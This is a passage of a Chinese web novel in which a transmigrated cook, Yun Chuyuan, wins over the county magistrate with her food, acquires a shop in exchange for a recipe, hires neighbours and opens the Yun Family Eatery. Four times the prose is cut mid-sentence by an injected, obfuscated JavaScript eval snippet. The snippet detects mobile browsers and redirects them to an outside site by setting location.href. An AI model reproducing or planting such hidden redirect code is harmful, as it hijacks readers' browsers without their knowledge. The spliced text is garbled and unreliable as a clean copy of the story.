青竹一听这话,立马解释:“大人,今日的午膳是由新来的厨娘做的鱼丸鸡汤米线,味道自是不同寻常,而且这位厨娘是专门为县令大人做膳食的,错过这次可不一定能再尝到了。” 梁捕头满脸不信的样子,嘲笑道:“小青竹,你可真没吃过好东西,一碗米线就能叫你吹上天。” 青竹撇撇嘴:“不信你问裴大人。” 众人的表情精彩纷呈,他们想不到平日里无欲无求、一心为民的县令大人会沉迷于口腹之欲。 陈县丞神色复杂,裴县令文采斐然、满腹经纶,他打心底里欣赏这位新科状元,未曾想这位才子对吃食情有独钟,这位小辈高大的形象在陈县丞心里碎掉了。 裴昱臣起身理了理衣摆,没有理会他们惊异的表情,而是淡声道:“本官饥肠辘辘,先行一步。” 县令大人步履匆匆,掀起一阵清风,不明真相的人还会以为出了什么大案子呢。 堂中剩下的人面面相觑,好一会没反应过来,裴大人竟然就这么丢下他们走了。 “额,大人可能是真饿了……”陈县丞出言为其找补,“老夫也略感饥饿,也先去膳房用饭了。” 其他人纷纷出声附和,接二两三地走了出去。 此时的膳房十分热闹,衙役们都没有坐在座位上,而是围在打饭的长桌前争抢。 “别挤我,别挤我,我的米线要撒啦!” “这米线太少了,完全不够吃呀。” “嘿,你这伙夫,怎么给我最少的那碗。” “朱师傅,再给我来一碗吧。” 裴昱臣一进膳房就瞧见这一幕,紧随他而来的官吏们傻眼了,他们万万想不到有一日县衙的伙食还能如此受欢迎,当真是开了眼了。 “我的娘啊,这伙人都疯了不成?”梁捕头瞠目结舌。 “这……这是因为大人您的厨娘吗?”陈县丞也没有见过这副场面,欲言又止地向身旁的裴昱臣求证。 裴昱臣轻轻点头,淡定道:“大惊小怪。”他的眼神带着一丝自满和神气,仿佛在说我挑中的人自是极好的。 “裴大人,你来了,快来尝尝我做的鱼丸鸡汤米线,我特意为您留了一大碗。”云楚沅从被围得水泄不通的长桌后探出身子,朝站在门口的裴昱臣招了招手。 一石激起千层浪。 “云姑娘,这不公平,为何裴县令的最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950560|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多?” “就是呀,云姑娘偏心,是不是裴大人长得俊,有优待啊。” “裴县令哪里吃得下啊,不如分我一半吧。” “云姑娘,云姑娘,你对未来夫婿有什么要求?样貌好还是品行佳?有学问还是会武艺?” “姑娘你看我怎么样,我长相不差,吃苦能干,家中父母健在,有兄弟姐妹四人,皆是和善之人。” 这群汉子越说越离谱,竟开始推荐起自己来了,云楚沅哭笑不得。 黑着脸的裴昱臣沉声道:“够了,不得对云姑娘无礼。” 衙役们这才偃旗息鼓,遗憾地离开了长桌。 裴昱臣在众人羡慕的眼神中,泰然自若地走过去,端起一大碗米线,“吸溜吸溜”吃了起来,向来讲究食不言寝不语的裴昱臣,竟有意无意地发出声响,引得众人垂涎欲滴。 陈县丞也端了一碗来吃,不尝不知道,一尝吓一跳,这鱼丸鸡汤米线打破了他们固有的认知,好吃到他们不知用什么语言来描绘,最后只能说一声,绝了。 先前还唧唧歪歪的梁铺头彻底没了声音,他正拼命往嘴里倒米线,还未嚼烂就吞了下去,众人纷纷侧目,暗骂一句暴殄天物。 云楚沅看着他们如此喜爱她做的膳食,脸上露出笑容,把美食吃得一干二净,就是对厨子最大的夸赞。 午膳过后,裴昱臣不急着离开,而是与云楚沅交谈了起来。 “云姑娘,县衙里住的可还舒心?” “承蒙大人关怀,西院环境清幽,器物齐全,还有丫鬟帮忙洒扫,我一切都好。” “那就好,若有缺的东西,你可以吩咐下人去置办,或者去找青竹也行。”裴昱臣给了她极大的权力,这县衙里除了他能使唤下人,云楚沅算第二个。 “多谢裴大人,小女子不胜感激。”云楚沅微微屈膝,双手轻轻搭在左腰处,行了一礼,姿态柔美,尽显端庄。 裴昱臣将她虚扶起身,视线落在云楚沅身后的小丫头身上,她眨着大眼,正好奇地望着他,“这位是?” 云楚沅的手放到小妹的后背上,将她往前推了两步,“这是我家中的小妹,名唤楚清,我父母双亡,小妹无人照料,遂带在身边。” 云楚清有样学样,学着云楚沅行礼,“裴大人安好。” 来之前,哥哥叮嘱过她,到了县衙要谨言慎行,千万不能冲撞了大人物,也不要给长姐添麻烦,云楚清时刻谨记,无事时也不会踏出房门半步,收起了在小渔村四处撒野的性子。 裴昱臣点点头,“小丫头瞧着乖巧,你们若是住一间房太挤,可以再收拾出一间屋子来住,西院没有旁人,你可以随意安排。” 云楚沅心中一喜,裴县令人还怪好嘞,本来还想着她们姐妹俩住一起就成了,结果裴大人主动开口为小妹安排住所,这便宜不占白不占。 为节省开支,裴昱臣遣散了县衙内不少丫鬟和小厮,这西院空着也是空着,能让他的小厨娘顺心一些,也算是物尽其用。 15. 筹备开店 云楚沅在县衙做了两日小厨娘,摆摊的事宜就先告一段落,她准备去牙行问问牙人,是否有卖房屋的消息了。 “哎哟,云小姐,您来的正好,上次我帮你打听的那家卤味铺子已经确定兜售了。”牙人一见到云楚沅,满脸兴奋地告诉了她这个好消息。 云楚沅很是激动,迫不及待道:“哪里的铺子,快带我去瞧一瞧!” 临安县东街位于连接集市的地方,算是比较繁华的地带,这条街上的商铺应有尽有,有卖粮的、卖书的、卖杂货的、卖衣裳的、卖胭脂水粉的,各类吃食铺子也不少,其中生意最好的当属街头的湘香馆,而云楚沅要盘下的铺子在街尾。 “冬娘,我将买主带来了。”牙人一踏进卤味铺子大门,高声喊道。 一位干练的婶子掀开布帘,从后厨走了出来,她将手中的抹布丢到桌上,上下打量着云楚沅。 “老邢,我可跟你说过了,我这铺子不卖给富户人家。”冬娘眉头皱起,拉下了脸,她瞧眼前这名女子,容貌出众,肤若凝脂,分明是个娇小姐。 云楚沅见冬娘误会了,赶紧解释道:“婶子,我并非富家千金,我是小渔村人,祖祖辈辈都是渔民。” 冬娘的脸色这才好看了点,但还是不太信,“你这细皮嫩肉的,我瞧着也不像是个做买卖的,你盘下我这铺子要做什么营生?” “我打算开家食肆,婶子,你别看我瘦弱,但我厨艺不错,我现在在县衙做厨娘,前段时日还在东市卖过海鲜面,你可以去打听打听,我绝无一句假话。”云楚沅郑重道。 “原来你就是那个在集市上卖面的小娘子,我知道你,我男人去你那摊位上吃过一次刀削面,回来念念不忘,老在我耳边念叨着还想吃,可惜你不去卖了。” 冬娘这下确信眼前的女子是真心实意想盘下铺子做生意的,不怪她如此谨慎,还不是因为徐家把她的卤味秘方套去之后,还大摇大摆地派人来收购她家铺子。 在云楚沅来之前,有不少街坊邻居想盘下她的铺子,她无意间听说原来是徐家人发话,谁能让她松口卖房子,徐家就给那人五贯钱报酬。 冬娘十分心寒,都是朝夕相处十多年的老熟人了,怎么都见钱眼开,明知她和徐家交恶,竟为了银子忽悠她。 说起卤味方子冬娘就难受的不行,他们祖孙三代一直在经营这家铺子,配方改良了好几次,眼看在临海县打出了名声,生意日渐好了起来。 她那天杀的败家男人喜欢去赌坊,上个月月末和人在湘香馆喝高了,将他们家每日进账多少银子嚷嚷了出去,叫人给盯上了。 临海县的赌坊也是徐家的产业,他们略施小计,就叫她男人欠下了巨额赌债,冬娘去赎人的时候被告知,要不交出卤味方子,要不就废了她相公的双腿。 冬娘那一刻只觉得天都要塌了,看着自家相公跪在地上痛哭流涕地忏悔,她心中不忍,这人虽不成大器,可对她和孩子都很好,平日里还会帮着她卖卤味,唯一不好的就是喜欢小赌。 可不管怎么说,都是自己的男人,就算是缺心眼上了人家的套,她也不能弃他于不顾吧,冬娘咬着牙交出了方子,换回相公一条小命。 临海县的生意做不下去了,他们一家人打算投奔亲戚,换个地方从新开始。 让冬娘欣慰的是,她相公痛定思痛,彻底戒赌了,也不外出和人喝酒了,每月就问她要几个铜板花用。 “姑娘,我就开门见山了,我家铺子位置不错,有后厨,还带着一个小院子,打了水井,挖了地窖。铺子里的桌椅、碗柜、炊具,都留给你,一口价一百二十两。” 云楚沅柳眉微蹙,这个价格比她的预期翻了一番,原想着自己攒下的银两能盘下一间小铺子,可这间铺子比她想象的大很多,大堂中有十二张方桌加一个柜台,后厨有两个灶台,还自带一个后院。 她对这间铺子是很满意,就是她手里的银钱不够啊,总不能再向别人借钱吧,林家的欠债都还没还清呢。 云楚沅脑子一转,想出了一个好法子,“冬婶子,实不相瞒,我本来想着买间小一点的铺子,所以准备的银子不足。这样吧,你既然要去大县城做生意,光一道卤味怎么够卖的,我把海鲜刀削面的做法教给你,折算成银子行不?” 冬娘听了这个法子,有些心动,银子是死物,配方却可以钱生钱,自家男人都赞叹不已的刀削面肯定有其过人之处,倘若自己多掌握一样吃食方子,日后生意做起来也更顺利。 “云姑娘,你先做一碗刀削面给我尝尝吧。” 云楚沅回了县衙一趟,将她特制的削面刀带了过来,她跟着冬娘来到后厨,撸起袖子开始做面,和面、削面、煮面,一气呵成。 就这削面的手法就把冬娘震住了,更不用说后面爆炒海鲜时的味道,真是香死个人。 冬娘尝过这碗海鲜刀削面后,二话不说就同意了云楚沅的请求,过了这个村就没这个店了,这样天降的好事若是不答应,她祖母都能从棺材里跳起来骂她。 “云姑娘,要我说,你这方子卖一百两都算亏,这样吧,这铺子我就不收你银钱了,就算是你拿配方和我换的就成!” 当初有人出价三百两买她家的卤肉方子,冬娘都没有答应,她是最清楚手艺的重要性了,一道极好的吃食配方,甚至都能够改换门庭,前朝的一位御厨就凭一道鸡肉羹获得皇帝青睐,一步登天。 而且一百多两银子真不算贵,以她卤味铺子的营利来算,三年两载便能赚回来。 牙人也借此机会尝了碗刀削面,他出声感叹道:“冬娘啊,你这回算是捡了个大便宜呀。” 冬娘也觉得如此,虽然她们家刚遭了难,可谁知接着便遇上了好事,这就是福祸相依呀。 “冬婶子,那我们就签订契约吧。”云楚沅对这个结果同样乐见其成,她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950561|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子里有太多美食的配方了,开食肆也卖不过来,倒不如关键时刻卖出去来的划算。 双方都很满意自己的所得,动作迅速地签字画押,再去官府做公正,这家铺子就正式划到云楚沅的名下了。 给了牙人一笔牙钱后,云楚沅拿着冬娘给的店铺钥匙离开,回了小渔村。 “楚沅回来了?县衙里的生活怎么样啊,是不是成日里吃香的、喝辣的?”村头大树下坐着一群大娘,她们一见云楚沅回到了村子,立马围上来问这问那。 “哪能啊?咱们县令都少食荤菜,我这个做厨娘的,怎么能逾矩呢。”云楚沅打哈哈。 “楚沅啊,咱都是一家人,你可别蒙我们。”有人明显不相信她的这套说辞。 云楚沅语气真挚道:“裴县令为官清廉,还遣散了不少下人,吃穿用度都很节俭,我自然要向裴大人学习。” “你说的有道理。”另一位婶子接受了这个说法,她眼珠子一转,又冒出了别的念头,“欸,楚沅啊,县衙里还缺捕快吗?你觉得我家城子怎么样?” “呃,婶子,这个我不太清楚,不过捕快是需要接受徭役指派的,而且还有一定的危险性,城子哥得身手了得才能缉拿盗贼呀。”云楚沅把自己知道的说了出来。 “啊?那算了,这捕快也不是个好差事。” “你可拉倒吧,就你家城子那走一步晃三下的体虚样子,还想当捕快?可别小贼没逮住,自己先被撂到了。” “呸,姓余的,你狗嘴里吐不出象牙,我儿子咋啦?我儿子最有本事了,他三岁就能识字,不像你儿子,痴痴傻傻的,十来岁了还分不清东南西北。” “你说谁傻子呢?你这臭婆娘,我看你就是欠打!” “啊,你竟敢薅我的头发,看我不挠花你这张老脸!” 两个大娘一言不合就打了起来,周围的人纷纷上前拉住了她们,云楚沅不愿掺和她们的口角之争,寻了个间隙,从人群中溜走了。 海风吹起她的青丝,云楚沅微微闭上眼睛,深吸一口气,几日没回来,她都有些想念这股咸湿的空气了。 “阿姐,你回来啦!” 云楚沅还未睁开眼,便感到有人撞到了她的身前,一把搂住了她的腰,“小弟,想我了吗?” 云楚河猛猛点头:“想死你了阿姐,我昨日差点忍不住进城找你,还是师傅把我拦住了。” “你可不能一个人进城,太危险了,有什么事你可以托人捎信给我。” 云楚河摸了摸后脑勺,“阿姐我不识字,只能找小周大夫帮我写了。” 她差点忘记了,小渔村的村民大多数都目不识丁,周大夫算是为数不多会识字的人了。 云楚沅从原主的记忆可知,她是没学过大燕朝文字的,可云楚沅在穿越前毕竟是受过高等教育的人,这里的文字和现代的古文字有异曲同工之妙,她勉强能够辨认得出。 16. 云记食肆 云楚沅和小弟一起回了家,推开门发现院子被打理的井井有条,看来他一个人在家也没有疯玩,还知道打扫卫生呢。 “楚河,阿姐去做饭,你想吃什么?随便点。”小弟这么懂事,云楚沅自然要嘉奖他,今日便满足他的胃,叫他吃个痛快。 云楚河相当兴奋,激动得原地蹦了两下,“真的吗?阿姐,我想吃什么你就做什么?” “阿姐说话算话。” “哇,那我要吃油焖大虾、红烧鱼、海鲜大杂烩、牡蛎煎饼、金鱼饺……”云楚河将云楚沅之前做过的美食通通点了一遍,大有一口气吃到撑的势头。 云楚沅眼底带笑地点头答应,没有说他肯定吃不完这么多东西,吃食做多了可以送人,小弟难得提要求,现下就不要扫他的兴了。 灶房内,云楚河负责处理鱼虾,云楚沅忙着和面,二人一边搭配干活,一边聊着这两日的生活。 “阿姐,我捕鱼的技艺又进步了许多,如今我跟着阿汤师傅出海,能带回来一筐鱼呢,大鱼我放进我们家的鱼缸里了,小鱼苗被我投进鱼塘了。” 大鱼就不必放进鱼塘里和小鱼抢草料吃了,等阿姐回来做成咸鱼,或是送到县里卖了就好。 “阿弟,我已经盘下了一间铺子,打算过几日就开张,这些鱼就留着当食材吧。” “阿姐,那日我要去县城!” “那是自然,我们云家的食肆开张,你怎么能不到场呢?” 两人吃了一顿丰盛的午膳,云楚河不停打嗝,捂着凸起的肚子瘫在椅子上不动了,毫不夸张的说,这顿饭是自打出生以来吃过最满足的一顿,就连往年过节时,都没吃的这么好过。 “楚河,别坐着了,起来走两步,消消食。”云楚沅将一动不动的小弟从椅子上拉了起来,两人慢吞吞地在院子里走了两圈。 “你先歇歇吧,我出门一趟。” 来到隔壁的钱家,云楚沅拍门喊人:“钱婶,你在家吗?” “来啦!” 熟悉的声音由远及近传来,钱婶一开门见来人是云楚沅,顿时喜上眉梢,“哎哟,我说怎么今早门外的树上有喜鹊叫唤,还以为有什么好事要发生呢,原来是我们的大忙人楚沅回来啦!” 钱婶注意到云楚沅的手里端着的大碗里摆满了吃食,不好意思地笑道:“楚沅啊,你每回来我们家都带东西,弄得我以后都不敢给你开门了。” 跟在钱婶的身后走进了钱家,云楚沅发现院子里没有别人,桌上摆满了一片狼藉的空碗和空盘,“钱婶,你们吃过饭了?” “是呀,刚用完午膳,他们都回屋休息了。”钱婶收拾着碗筷,看见云楚沅搭手帮忙,她吓了一跳,“哎哟,放着我来,怎么能让你脏了手呢。” “没事的,钱婶,顺手的事。”云楚沅还想帮忙,钱婶如临大敌,一把抓住她的双手,推搡着云楚沅的身体,一副不让她靠近的样子。 “使不得,使不得。” 如今云丫头有出息了,都能当上县衙的厨娘了,她那双巧手可是用来给县令大人做珍馐的,哪能来她家里做粗活。 两人你一言我一句的争论声,吵到钱家人,他们纷纷走出来查看什么情况。 林秀秀衣衫凌乱,显然是刚从榻上下来,“娘,你干什么呢?声音这么大,都把元宝吵醒了。” 屋内隐约传来孩童哼哼唧唧的声音,还有男人的轻哄声。 元宝是钱家唯一的孙子辈,金贵的很,林秀秀也因此挺直了腰板,敢跟婆婆和小姑子叫板。 在林秀秀看来,她相公是钱家唯一的儿子,那钱家的所有东西都属于她儿子,春香这个赖在家里吃白饭的,就格外碍眼,她巴望着有个男人赶紧把她娶走。 钱婶气不打一处来,这个儿媳妇越来越不像话了,吃完了饭也不主动留下来收拾碗筷,一句“要给孩子喂奶”,就钻进屋子里躲懒去了,她都不如云丫头,人家一个外人都知道帮她收拾,林秀秀这个正儿八经的儿媳怎么就知道装瞎。 “你还说起我的不是来了?孩子哄不好你就别带了,我来照顾我大孙子,你没看见剩的碗筷还没收拾吗?成天就知道顶嘴,眼里一点活都没有,我要你这个儿媳还不如不要!不如趁早叫阿财休了你,换个勤快的来。”钱婶的嘴像是连珠炮一样,“突突突”对着林秀秀喷个不停。 推开房门的钱春香又听见娘和嫂子拌嘴,快步走了出来,“娘,我来帮你收拾。” “你别动,我就看这懒婆娘愿不愿意干!” 从主屋走出来的钱大叔听到这话,开口劝了两句:“孩子她娘,差不多得了。” “你闭嘴!”钱婶瞪了他一眼,钱大叔缩了缩脑袋,不敢说话了,和云楚沅打了声招呼后,悄悄回了房间。 见没人替她说话,就连自家相公都躲在屋里不掺和婆婆教训她的事,林秀秀不情不愿地去刷碗了。 “楚沅啊,叫你看笑话了,走,我们去春香的屋子里坐坐,你这次来,所为何事呀?”钱婶面对云楚沅,立马换了副表情,热情洋溢地将她迎进了东屋。 钱春香的屋子干净整洁,床头摆放着许多绣品,三人盘腿坐在床榻上,云楚沅拿起竹筐里的一个荷包,瞧见其精致的做工,不由出声夸赞:“春香姐真是心灵手巧,你这一个绣品能卖多少钱?” “一条绣帕十几文,一只香囊或荷包卖二百多文,但是针线和布料需要自己卖。” 云楚沅问道:“那你一日能绣完几件绣品。” “一日能绣十条帕子,荷包和香囊需一日半才能做出一个来。” 钱婶心疼的摩挲着女儿的手,对云楚沅说道:“春香这赚的是辛苦钱啊,而且县城的绣房不是每样都要,有些样式还被退了回来。她这双手上都磨出了厚茧,日日绣到天黑,我都怕她的眼睛瞎掉。就这样,林秀秀那个贼婆娘还要说三道四。” 云楚沅算了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950562|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番,钱春香一天绣的帕子就算能全部卖掉,也只能赚个几十文,毕竟绸缎和棉布不便宜,卖不出去还要自己承担成本,确实不容易。 “钱婶,春香姐,我这次来是想问问你们两人愿意去县里做活吗?”云楚沅说了自己的目的,她的食肆要招人,不如先问问村里人有想做的吗,不是她自己吹嘘啊,在食肆做伙计这份工作可是很抢手的。 “楚沅,是什么活计?” “我要开一间食肆,正缺人呢,需要账房、跑堂、杂役等伙计,月钱三两银子,你们愿意干吗?” 钱婶和钱春香呆住了,久久说不出话来,她们没想到云家丫头这么有本事,不但做了县衙的厨娘,还能开起食肆来了,更想不到她愿意雇她们母女去做活计,还给这么高的月钱。 “楚沅,婶子是很想去,不过我们没有你的好手艺,能做什么呢?” “婶子,你只用在后厨做切菜、洗碗这类杂活,春香姐可以负责给客人点菜和上菜,都不是难事。” 钱春香结结巴巴道:“点菜要收银子吧,我,我大字都不识一个,又不会用算盘,如何能算好账呢。” “春香姐,你这么聪明,完全可以学一学啊,待你有了立身之本,谁还会说你的不是?”云楚沅并不觉得这是问题,数钱谁不会数啊,她只要学会数字怎么写,就能记账了。 这番话算是说到钱春香的心坎了,外人异样的眼光让她不敢抬起头做人,要是她能像男子一样赚钱养家,不嫁人又能如何呢? 云楚沅瞧着钱春香神色动摇,就知道说动她了,接着她又对钱婶劝道:“婶子,你是出去赚银子的,谁有资格指责你呢?” 钱婶一想也是,她呆在村子里,整日忙着家长里短的,还落不得儿媳一句好,她不是想管家吗?正好,借此机会她带着女儿去县城,看她能怎么持家。 下定决心后,钱婶一口答应下来,待云楚沅离开后,她把这个消息告知了家人,不管他们如何震惊,钱婶已经下定了决心。 和钱婶母女约定好后,云楚沅又去了趟阿汤家,请他每日从鱼塘里捞出一些货,送到食肆去,当然,月钱是少不了的。 尽管阿汤不愿收,云楚沅也坚持要给,不然就找别人,阿汤只好收下。亲兄弟都要明算账呢,和银子相关的事马虎不得,省得以后出现分歧,伤了情分。 云楚沅回到县衙的第一件事就是去找裴昱臣,请他为食肆的牌匾提字。 “云记食肆”四个大字笔走龙蛇、行云流水,令人赞叹不已。 “裴大人的书法浑厚遒劲,挂在食肆门口,绝对吸睛。”云楚沅左瞧右看,反复欣赏着他的书法,这可是状元郎的墨宝,她定要好好珍藏。 “云姑娘满意就好,只是你开了食肆后,可别忘了我。”裴昱臣不动声色地露出他的小心思。 云楚沅信誓旦旦:“放心吧,裴大人,我不会忘记给你做膳食的,我可是你的小厨娘。” 17. 开张大吉 裴昱臣暗自松了一口气,如今他是一日不吃云楚沅做的膳食,一日就不得劲,他的嘴已经被小厨娘养叼了。 “云姑娘,食肆何时开张?” “三日后。” “好,到那日午时,我去给你捧场。” “好呀。”云楚沅很高兴,裴县令可是个行走的活招牌,倘若他能到场,那云记食肆卖的吃食肯定会大爆。 裴昱臣看着她笑靥如花的样子,轻笑两声:“怎么,你很希望我去吗?” 上次东市遇到她卖刀削面的事,裴昱臣还记得,当时他的出现造成了轰动,为她带去了不少生意。 他县令的名头是一回事,但云楚沅的好手艺又是另一回事,若她的吃食不够吸引人,就算他亲自为她造势,也起不到什么作用。 裴昱臣知晓云楚沅盼着他去是怎么一回事,可他自认为只算是锦上添花,并不能决定云记食肆生意的好坏。 “裴大人,你可以认为,我把你当做吉祥物了,就像是招财的貔貅!” 古人不明白什么叫明星效应,云楚沅只好换种方式向他解释,招财进宝的祥瑞神兽,这个比喻多贴切呀。 裴昱臣的神色几经变化,欲言又止道:“所以我是只进不出?”他还是头一回听说把人比作貔貅的,听起来很是别扭。 “哈哈,裴大人我是夸你旺财,不是说你抠门。” 听到这话,裴昱臣噎了噎,她怎么越描越黑了,旺财通常是狗的名字,要不是裴昱臣了解云楚沅是个什么样的人,他都要以为她是在暗讽他了。 云楚沅想着这里又没有招财猫,她不如在铺子里贴上裴昱臣的画像,讨个吉利,还能驱邪避凶,省得不长眼的小贼盯上她的食肆。 “裴大人,可否赠予我一张你的画像?”云楚沅心直口快,出声讨要。 裴昱臣捏了捏袖口,不自在地问道:“姑娘要我的画像做什么?” 她还真是不矜持,怎能如此直白地索要男子的画像呢,裴昱臣心中犯嘀咕。 “自然是要张贴在我的铺子里,震慑宵小。”云楚沅自然而然地说道。 “……”裴昱臣傻愣愣地看向她,哑口无言,心底刚泛起的羞意荡然无存,原是他自作多情了。 “裴大人,你愿意吗?” 云楚沅走近了两步,双手托腮,眨巴着亮闪闪的大眼睛,嘟着嘴卖萌。 “咳咳咳!”裴昱臣如临大敌般连连后退,撞上了身后的书桌,书籍纸张散落一地。 他俊脸微红,手忙脚乱地弯下腰捡书,不敢看云楚沅所在的方向,待他要去拿最后一本书时,指尖不小心触到了一只白皙的柔荑。 “哗啦啦!”手中的书再次掉落一地,裴昱臣脑中一片空白,这是他第一次与女子有如此亲密的接触,虽一触即离,他也感受到了那抹温热与柔软。 这个小小的意外,叫向来足智多谋的裴大人变成了呆呆傻傻的木脑子,浑身僵硬地立在原地。 云楚沅疑惑地看向裴昱臣,不过是指尖不小心碰在一起了,他怎么反应这么大。 不会吧,不会吧,裴县令这么纯情吗?碰了下手指头就害羞了。 裴昱臣满脸通红,鼻腔里呼出的气息紊乱,落在云楚沅的眼中,他就像一只水烧开的茶壶,仿佛下一秒就要沸腾了。 这要是有人对他使一招美人计,他还不得束手就擒?想起裴昱臣对土匪用过的美人计,云楚沅又否定了这个想法,办案子时的裴县令都会忍辱负重,区区美人计又怎会迷惑得了他。 “裴大人,你没事吧?”云楚沅走近,用手在他眼前晃了晃。 裴昱臣缓缓回神,视线又定在了那只白皙的柔荑上,纤纤玉指宛如雕刻的美玉,圆润的指尖如花瓣般粉嫩,随着腕骨的摆动,光滑无瑕的小手几乎晃花了他的眼。 眼前的男子再次神游天外,云楚沅十分无语,这就是才华横溢的新科状元吗?他这个样子和小渔村里那个十岁不分南北的呆子有什么差别? 无奈的云楚沅提高声量:“大人!开饭啦!” “啊?”裴昱臣骤然回神,看见捂嘴偷笑的云楚沅,就明白自己犯蠢的模样被瞧得一清二楚。 他稳了稳心神,弯腰躬身,双手作揖,语气诚恳道:“是小生无礼了,冒犯了姑娘,望姑娘恕罪。” 这人怎么又向她道歉,上一次请罪就送了她县衙厨娘的工作,这次又要赔什么礼? 果然,不等云楚沅说话,裴昱臣说道:“云姑娘,你要几张画像,我都给。” 方才还对她提的要求犹疑的人,这下答应得痛快。 看着裴昱臣从画缸里连着拿出四五副画,云楚沅开口阻止:“大人,一张足矣。” 她又不是拿回去收藏的,要那么多干嘛。 “云姑娘挑一张吧。”裴昱臣拘谨地为她展开画卷,叫人挑选自己的画像,感觉很奇怪。 一幅状元郎打马游街的画瞬间吸引了云楚沅,画上的男子头戴金冠,身穿红袍,骑着高头大马,身姿挺拔,气宇轩昂。 这幅画将少年郎的意气风发刻画得淋漓尽致,云楚沅仿佛身临其境般,体会到了这人喜悦和骄傲,还有那份兼济天下的抱负。 “我喜欢这幅画。”云楚沅毫不犹豫地做出选择。 裴昱臣摩挲着画卷,对此毫不意外,至今他依然记得当初高中状元的欣喜若狂,他算是没有辜负寒窗苦读的十几年。 “这幅画赠予云姑娘,愿云记食肆福星高照,开张大吉。” —— “瞧一瞧,看一看嘞,云记食肆,新店开张,限时八折!” 云记食肆门口,云楚沅在众目睽睽之下,一把揭下盖在牌匾上的红布,云楚河和云楚清兄妹二人在一旁敲锣打鼓,吸引客人。 “小娘子,八折是何意?” “我们食肆今日开张,给客官们让价,定价十文,只收八文。” 云楚沅此话一出,顿时吸引了许多人。 “哟,这么好的事,我可不能错过。” “这不是东市卖面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950563|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小娘子吗?你家的吃食,那肯定差不了!”有人认出了云楚沅,欢欢喜喜地进了云记食肆。 “店丫头,我要点单!” 头一回接待客人的钱春香深吸一口气,“客官,我们店的吃食有红烧鱼、炒花蛤、油焖大虾、酱烧鱼块、蒜蓉海蛎、金鱼饺、海鲜面、海鲜粥,您要点什么?” 汉子思索了一会,问道:“红烧鱼和酱烧鱼块哪个好吃?” “两种都很好吃,红烧的味道鲜美,色泽红亮,酱烧的加了豆酱,咸香浓厚,看您喜欢哪一种。”钱春香先前被云楚沅教过要怎么介绍吃食,她牢记于心。 “那就给我来一道红烧鱼,一道油焖大虾和一份海鲜粥吧。” “好嘞,客官稍等片刻,菜马上就来。” 钱春香将菜名记在纸上,送进后厨,这几日钱春香一直都在家中埋头苦练,将几道菜的名字记得滚瓜烂熟,她也算是识字的人了。 随着接二两三的客人点菜,后厨忙得热火朝天,云楚沅掌勺,钱婶为她打下手。 像是金鱼饺、海鲜面、海鲜粥这类主食,钱婶就可以搞定,饺子提前包好了,只需上锅蒸,海鲜面做法简单,钱婶一学就会,熬好的粥另起小灶用小火煨着。 云楚沅的任务更艰巨,她一人占据灶台上的两口锅,重复做着那几道鱼虾和花蛤,熟能生巧,同时做两道菜,对她来说游刃有余。 一道道热气腾腾海鲜美食出锅了,香味从后厨飘散到大堂,引起众人热议。 “哇,这也太香了吧,我等不及要尝尝了。” “不愧是云小娘子,她在东市卖面时,我就经常去吃,那滋味真绝了!” 大堂中的十二张桌子,座无虚席,陌生人甚至会拼桌坐在一起,他们翘首以盼,都对云记食肆的吃食抱着极大的期待。 “客官,菜来了!”钱春香一边吆喝,一边手脚麻利地上菜,经过和十几个人的交谈,她已经适应了这份活计,不再露怯。 老李是钱春香接待的第一位客人,红烧鱼、油焖大虾和海鲜粥一起上桌后,他神情陶醉地闻了个遍,他是西街人,之前没去东市吃过云楚沅的面。 今日他是来东街拜访亲戚的,机缘巧合进了这家店,他对吃食并不挑,原本是想着随便吃一顿午膳,没想到这云记食肆如此不同寻常。 这些菜从卖相到气味、再到味道,无一不绝,老李细细咀嚼着口中鲜嫩的鱼肉,静静享受,这道红烧鱼没点错,甚是美味! 不过,老李又对没点过的酱烧鱼块升起了好奇,既然店丫头说酱烧的同样好吃,那他也点来尝尝呗,反正这家店新开张,一道鱼三十文,今日只要二十四文,优惠许多。 